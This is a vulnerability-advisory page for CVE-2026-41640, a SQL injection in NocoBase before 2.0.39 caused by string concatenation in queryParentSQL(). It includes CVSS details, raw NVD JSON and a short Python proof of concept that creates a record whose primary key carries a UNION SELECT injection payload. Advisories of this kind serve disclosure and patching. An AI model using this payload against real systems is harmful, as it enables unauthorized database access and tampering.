Security Vulnerability Report
中文
CVE-2026-41640 CVSS 7.5 HIGH

CVE-2026-41640

Published: 2026-05-07 04:16:28
Last Modified: 2026-05-12 16:51:24

Description

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:* - VULNERABLE
NocoBase < 2.0.39

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41640: NocoBase SQL Injection via Malicious Primary Key # This script demonstrates creating a record with a malicious PK to trigger SQL injection. import requests TARGET_URL = "http://target-nocobase/api/collection_name" # Payload designed to break out of the string concatenation in queryParentSQL MALICIOUS_PK = "1' UNION SELECT user(),version()-- " headers = { "Authorization": "Bearer <TOKEN>", "Content-Type": "application/json" } # Step 1: Create a record with the malicious string as the primary key payload = { "id": MALICIOUS_PK, # Injection point "title": "Malicious Record" } response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious record created successfully.") print("[*] Triggering recursive eager loading (e.g., viewing a tree structure) will execute the payload.") else: print("[-] Failed to create record.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41640", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:28.277", "lastModified": "2026-05-12T16:51:23.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.39", "matchCriteriaId": "353FCC5B-0DF7-49FC-9E2B-FD04C3A46751"}]}]}], "references": [{"url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nocobase/nocobase/pull/9133", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}